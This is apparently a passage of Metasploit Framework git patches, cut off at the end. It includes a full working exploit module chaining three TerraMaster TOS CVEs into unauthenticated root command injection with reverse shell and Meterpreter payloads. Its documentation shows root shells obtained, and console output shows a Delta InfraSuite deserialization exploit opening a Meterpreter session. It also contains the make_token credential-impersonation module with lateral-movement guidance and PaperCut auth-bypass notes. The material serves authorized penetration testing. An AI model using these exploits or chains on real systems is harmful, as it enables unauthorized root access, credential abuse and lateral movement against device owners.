+### InfraSuite Device Master v01.00.00d on Windows 10 x64 + +``` +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run + +[*] Started reverse TCP handler on 192.168.140.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Requesting the login page to determine if target is Infrasuite Device Master... +[*] Target is InfraSuite Device Master. Now attempting to determine version. +[+] The target appears to be vulnerable. +[*] Using URL: http://192.168.140.1:8080/xkRhewOXntAgYs +[*] Command Stager progress - 100.00% done (153/153 bytes) +[*] Client 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673) requested /xkRhewOXntAgYs +[*] Sending payload to 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673) +[*] Sending stage (175686 bytes) to 192.168.140.187 +[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.187:50409) at 2023-06-05 17:09:29 -0500 +[*] Server stopped. + +meterpreter > getuid +Server username: DESKTOP-R6RCNHH\space +meterpreter > sysinfo +Computer : DESKTOP-R6RCNHH +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 5 +Meterpreter : x86/windows +meterpreter > +``` From e6b1ae2af89745f3b104bd3efb8e339cce31fb6b Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 6 Jun 2023 00:54:40 -0400 Subject: [PATCH 301/415] Remote::JndiInjection: handle LDAP UnbindRequest --- lib/msf/core/exploit/remote/jndi_injection.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 468b9c5276343..0c51fedfc9b6e 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -60,9 +60,12 @@ def on_dispatch_request(client, data) else service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end + when Net::LDAP::PDU::UnbindRequest + vprint_status("Client sent unbind request") + nil # close client, no response can be sent over unbound comm else vprint_status("Client sent unexpected request #{pdu.app_tag}") - client.close + nil # close client, can't handle the unknown end resp.nil? ? client.close : on_send_response(client, resp) rescue StandardError => e From 3e6ae748861afa230b9739cc9695b3233687d76d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 6 Jun 2023 07:07:36 +0000 Subject: [PATCH 302/415] init commit module --- .../terramaster_unauth_rce_cve_2021_45837.rb | 287 ++++++++++++++++++ 1 file changed, 287 insertions(+) create mode 100644 modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb new file mode 100644 index 0000000000000..6f7d4b704401c --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest/md5' +require 'time' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.', + 'Description' => %q{ + Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows + an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected. + CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other + information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint. + This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker + can self-sign session cookies by knowing the target MAC address and the user password hash. + Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker + to login as guest. + Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted + input to vulnerable endpoint `/tos/index.php?app/del`. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'n0tme' # Discovery and POC + ], + 'References' => [ + ['CVE', '2021-45837'], + ['CVE', '2021-45839'], + ['CVE', '2021-45841'], + ['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'], + ['PACKETSTORM', '165399'], + ['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837'] + ], + 'DisclosureDate' => '2021-12-24', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']) + ]) + end + + def get_data + # Initialise instance variable data to store the leaked data + @data = {} + + # Get the data by exploiting the LFI vulnerability thru vulnerable endpoint `api.php?mobile/webNasIPS`. + # CVE-2021-458439 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'), + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS' + } + }) + + if res && res.code == 200 && res.body.include?('webNasIPS successful') + # Parse the JSON response and get the data such as admin password hash and MAC address + res_json = res.get_json_document + unless res_json.blank? + @data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip + @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip + @data['key'] = @data['mac'][6..11] # last three MAC address entries + @data['timestamp'] = Time.new.to_i.to_s + # derive signature + @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp']) + end + end + end + + def tos_encrypt_str(key, str_to_encrypt) + id = key + str_to_encrypt + return Digest::MD5.hexdigest(id.encode('utf-8')) + end + + def download_admin_users + # Initialise instance variable admin_users to store the admin users from /etc/group + @admin_users = [] + + # Download /etc/group information to find all the admin users belonging to the group admin. + # Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication. + # CVE-2021-45841 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'), + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}", + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + }, + 'vars_post' => { + 'path' => '/etc/group' + } + }) + # get the admin users from /etc/group + if res && res.code == 200 && res.body.include?('admin') + res.body.each_line do |line| + field = line.split(':') + next unless field[0] == 'admin' + + @admin_users = field[3].strip.split(',') + break + end + end + end + + def get_session + # Use session crafting to iterate thru the list of admin users to gain a session. + # We will send two request per admin user. First request is a dummy request to obtain the session-id. + # This session-id will be used to send the second request that will execute the echo command with marker. + # if the response contains the marker, then the session has been successfully established. + # CVE-2021-45837 + session = false + marker = Rex::Text.rand_text_alphanumeric(8..16) + for admin in @admin_users + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};xx%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}", + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + } + }) + if res && res.code == 302 && !res.body.include?(marker.to_s) + # Send second request to establish a session and break from the loop if true. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};xx%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + } + }) + end + next unless res && res.code == 200 && res.body.include?(marker.to_s) + + session = true + break + end + return session + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def execute_command(cmd, _opts = {}) + # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;;xx%23` + # CVE-2021-45837 + payload = CGI.escape(cmd) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};xx%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + } + }) + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if @terramaster['tos_version'] <= '4.2.15' + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + else + return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + end + + def exploit + # get the leaked data + get_data + fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? + + download_admin_users + fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty? + + fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end From a34c3cf055e47978dead1d2911c58d4cafa9bde6 Mon Sep 17 00:00:00 2001 From: attl4s Date: Tue, 6 Jun 2023 09:07:57 +0200 Subject: [PATCH 303/415] linted - all offenses addressed --- modules/post/windows/manage/make_token.rb | 33 ++++++++++++----------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb index 61160fc4dc9a2..40358f91ee3c5 100644 --- a/modules/post/windows/manage/make_token.rb +++ b/modules/post/windows/manage/make_token.rb @@ -11,21 +11,24 @@ def initialize(info = {}) info, 'Name' => 'Make Token Command', 'Description' => %q{ - In its default configuration, this module creates a new network security context with the specified + In its default configuration, this module creates a new network security context with the specified logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and - a new logon session is created and linked to that token. The token is then impersonated to acquire - the new network security context. This module has no effect on local actions - only on remote ones - (where the specified credential material will be used). This module does not validate the credentials + a new logon session is created and linked to that token. The token is then impersonated to acquire + the new network security context. This module has no effect on local actions - only on remote ones + (where the specified credential material will be used). This module does not validate the credentials specified. }, 'License' => MSF_LICENSE, 'Notes' => { - 'AKA' => ['make_token', 'maketoken'] + 'AKA' => ['make_token', 'maketoken'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] }, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => [ - 'Daniel López Jiménez (attl4s)', + 'Daniel López Jiménez (attl4s)', 'Simone Salucci (saim1z)' ], 'Compat' => { @@ -50,7 +53,7 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]), + OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]), ] ) end @@ -66,9 +69,9 @@ def run logontype = datastore['LOGONTYPE'] # revert any existing impersonation before doing a new one - print_status("Executing rev2self to revert any previous token impersonations") + print_status('Executing rev2self to revert any previous token impersonations') session.sys.config.revert_to_self - + # create new logon session / token pair print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}") logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4) @@ -76,15 +79,15 @@ def run if logon_user['return'] # get the token handle ph_token = logon_user['phToken'] - print_status("Impersonating the new security context...") - + print_status('Impersonating the new security context...') + # store the token within the server session.sys.config.update_token(ph_token) - print_good("The session should now run with the new security context!") - - # send warning + print_good('The session should now run with the new security context!') + + # send warning if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS' - print_warning("Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)") + print_warning('Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)') end else print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") From ec948b5c16f1f1c82fb07968e03d626b23838974 Mon Sep 17 00:00:00 2001 From: attl4s Date: Tue, 6 Jun 2023 10:04:57 +0200 Subject: [PATCH 304/415] add documentation --- .../modules/post/windows/manage/make_token.md | 61 +++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 documentation/modules/post/windows/manage/make_token.md diff --git a/documentation/modules/post/windows/manage/make_token.md b/documentation/modules/post/windows/manage/make_token.md new file mode 100644 index 0000000000000..39654174970ee --- /dev/null +++ b/documentation/modules/post/windows/manage/make_token.md @@ -0,0 +1,61 @@ +## Overview +In its default configuration, this module creates a new network security context with the specified +logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and +a new logon session is created and linked to that token. The token is then impersonated to acquire +the new network security context. This module has no effect on local actions - only on remote ones +(where the specified credential material will be used). This module does not validate the credentials +specified. + +## Options +- **USERNAME** - Username to use +- **PASSWORD** - Password to use +- **DOMAIN** - Domain to use +- **LOGONTYPE** - The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`) + +### LOGONTYPE +This module defaults to `LOGON32_LOGON_NEW_CREDENTIALS` so as to mimic the behaviour of Cobalt Strike's +[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command. +However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at +, by checking the +`dwLogonType` flag. + +## Scenarios +This module can be used as an alternative to modules like `post/windows/manage/run_as` or `post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on behalf of the impersonated user. + +## Limitations +In its default configuration, this module does not require privileges to create a new security context (new access token). Despite of this, some actions with the new token might require privileges. For example, in order to create a process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or [CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) - administrative privileges are needed. This means that if you use this module with a non-privileged user, your new processes will not inherit `make_token`'s security context. + +## Example + +``` +meterpreter > getuid +Server username: CAP\vegeta +meterpreter > ls \\\\dc01\\C$ +[-] stdapi_fs_stat: Operation failed: Access is denied. +meterpreter > run post/windows/manage/make_token username=bulma_da password=Patatas123 domain=capsule.corp + +[*] Executing rev2self to revert any previous token impersonations +[*] Executing LogonUserA with the flag LOGON32_LOGON_NEW_CREDENTIALS to create a new security context for capsule.corp\bulma_da +[*] Impersonating the new security context... +[+] The session should now run with the new security context! +[!] Remember that this will not have any effect on local actions (i.e. getuid will still show the original user) +meterpreter > ls \\\\dc01\\C$ +Listing: \\dc01\C$ +================== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 $Recycle.Bin +040777/rwxrwxrwx 0 dir 2023-05-19 12:06:35 +0200 $WinREAgent +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Documents and Settings +100666/rw-rw-rw- 12288 fil 2023-06-06 09:25:56 +0200 DumpStack.log.tmp +040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 PerfLogs +040555/r-xr-xr-x 0 dir 2023-05-19 09:53:15 +0200 Program Files +040777/rwxrwxrwx 0 dir 2021-05-08 11:40:15 +0200 Program Files (x86) +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:33 +0200 ProgramData +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Recovery +040777/rwxrwxrwx 0 dir 2023-05-19 09:55:58 +0200 System Volume Information +040555/r-xr-xr-x 0 dir 2023-05-19 09:44:15 +0200 Users +040777/rwxrwxrwx 0 dir 2023-05-19 09:52:08 +0200 Windows +100666/rw-rw-rw- 402653184 fil 2023-06-06 09:25:56 +0200 pagefile.sys +``` From 2e34d69133b8930a112f18e5b0603825d8539405 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 6 Jun 2023 12:18:59 +0000 Subject: [PATCH 305/415] Added documentation --- .../terramaster_unauth_rce_cve_2021_45837.md | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md new file mode 100644 index 0000000000000..b03429be924b2 --- /dev/null +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md @@ -0,0 +1,83 @@ +## Vulnerable Application + +This module provides a Terramaster chained exploit that performs session crafting to achieve escalated privileges +that allows an attacker to access vulnerable code execution flaws. TOS versions `4.2.15` and below are affected. + +[CVE-2021-45839](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45839) is exploited to obtain the first administrator's +hash set up on the system as well as other information such as MAC address, by performing a POST request to the +`/module/api.php?mobile/webNasIPS` vulnerable endpoint. +This information is used to craft an unauthenticated admin session using vulnerability +[CVE-2021-45841](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45841) where an attacker can self-sign session cookies +by knowing the target MAC address and the user password hash. Guest users (disabled by default) can be abused using a null/empty hash +and allow an unauthenticated attacker to login as guest which is used to download the `/etc/group` info to obtain the list of admin users +to be used for the session crafting. + +Finally, [CVE-2021-45837](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45837) is exploited to execute arbitrary commands as root +by sending a specifically crafted input to vulnerable endpoint `/tos/index.php?app/del`. + +This module has been tested against a TerraMaster `F2-210` Model with the specifications listed below: + +* TerraMaster F2-210 +* CPU: `x64` +* TOS Version: `4.2.08` + +## Verification Steps + +1. `use exploit/linux/http/terramaster_unauth_rce_cve_2021_45837` +1. `set RHOSTS ` +1. `set RPORT ` +1. `set LHOST ` +1. `set LPORT ` +1. `set TARGET <0-Unix command or 1-Linux Dropper>` +1. `exploit` +1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. + +## Options +No specific options. + +## Scenarios + +### TerraMaster F2-210 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 0 +target => 0 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.10.1:4444 -> 192.168.10.2:41822) at 2023-06-06 07:27:36 +0000 + +uname -a +Linux TerrorMaster 4.13.16 SMP Tue Jun 06 09:28:43 CET 2023 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +``` +### TerraMaster F2-210 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +``` +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 1 +target => 1 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit + +[*] Started reverse TCP handler on 192.168.10.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045348 bytes) to 127.0.0.1 +[*] Meterpreter session 2 opened (192.168.10.1:4444 -> 192.168.10.2:36938) at 2023-06-06 07:29:50 +0000 +[*] Command Stager progress - 100.00% done (823/823 bytes) + +meterpreter > sysinfo +Computer : 192.168.10.2 +OS : (Linux 4.13.16) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Limitations +No limitations. From a03603d076c9d7ffdf7b252aabdf720cba3aa5a2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 6 Jun 2023 15:35:20 +0000 Subject: [PATCH 306/415] Documentation linting. --- .../multi/http/papercut_ng_auth_bypass.md | 33 ++++++++++++++----- 1 file changed, 24 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md index cfa7a0098f4ca..7c751ceed2d28 100644 --- a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -1,5 +1,7 @@ -## Description -PaperCut NG Authentication Bypass affecting the below versions, see [confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +## Vulnerable Application +### Description +PaperCut NG Authentication Bypass affecting the below versions, see +[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): - version 8.0.0 to 19.2.7 (inclusive) - version 20.0.0 to 20.1.6 (inclusive) - version 21.0.0 to 21.2.10 (inclusive) @@ -7,10 +9,12 @@ PaperCut NG Authentication Bypass affecting the below versions, see [confirmatio See module `info` for additional references. -## Vulnerable Application -Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). +### Building a Vulnerable Container +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the +software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). -Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the application for testing. +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the +application for testing. From an empty directory, create a Dockerfile containing the following: ```dockerfile @@ -33,11 +37,21 @@ curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x podman build . --tag papercut-16.4.39159 podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" ``` -Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions are patched.* +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions +are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit +host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the +container & tag the new image to maintain your configuration changes. In the future the service can be restarted using +`/etc/init.d/papercut start` from within the container. -A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the container & tag the new image to maintain your configuration changes. In the future the service can be restarted using `/etc/init.d/papercut start` from within the container. +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something +to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication +Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the +"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on +the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network +that is currently in use.* -*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the "\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network that is currently in use.* ## Verification Steps @@ -201,4 +215,5 @@ msf6 exploit(multi/http/papercut_ng_auth_bypass) > run meterpreter > ``` -Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable 'SetupCompleted' page. +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable +'SetupCompleted' page. From 451735ad158164fbe6031c4e3ecc125ba82da2d7 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Tue, 6 Jun 2023 17:43:22 +0200 Subject: [PATCH 307/415] Fix exception handler & add doc --- .../core/exploit/remote/http/gitlab/form/authenticate.rb | 4 +++- lib/msf/core/exploit/remote/http/gitlab/helpers.rb | 7 +++++++ .../multi/http/gitlab_github_import_rce_cve_2022_2992.rb | 2 +- 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb b/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb index ab349ff438418..993dc22453e6e 100644 --- a/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb +++ b/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb @@ -7,13 +7,15 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate # @param username [String] Username # @param password [String] Password # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError] if the request timed out + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError] if the authenticaiton failed + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError] if it was not possible to extract the CSRF token def gitlab_sign_in(username, password) sign_in_path = '/users/sign_in' csrf_token = gitlab_helper_extract_csrf_token( path: sign_in_path, regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"} ) - raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token res = send_request_cgi({ 'method' => 'POST', diff --git a/lib/msf/core/exploit/remote/http/gitlab/helpers.rb b/lib/msf/core/exploit/remote/http/gitlab/helpers.rb index c318d713d6c96..44cb9e3ca89fa 100644 --- a/lib/msf/core/exploit/remote/http/gitlab/helpers.rb +++ b/lib/msf/core/exploit/remote/http/gitlab/helpers.rb @@ -23,6 +23,13 @@ def gitlab_helper_login_post_data(user, pass, csrf_token) post_data end + # Extract the CSRF token at the given URI using the provided regex + # + # @param path [String] the URI to retrive the CSRF token from + # @param regex [String] the regex used to extract the CSRF token from the HTML response + # @return [String] the CSRF token + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError] if the request timed out + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError] if it was not possible to extract the CSRF token def gitlab_helper_extract_csrf_token(path:, regex:) res = send_request_cgi({ 'method' => 'GET', diff --git 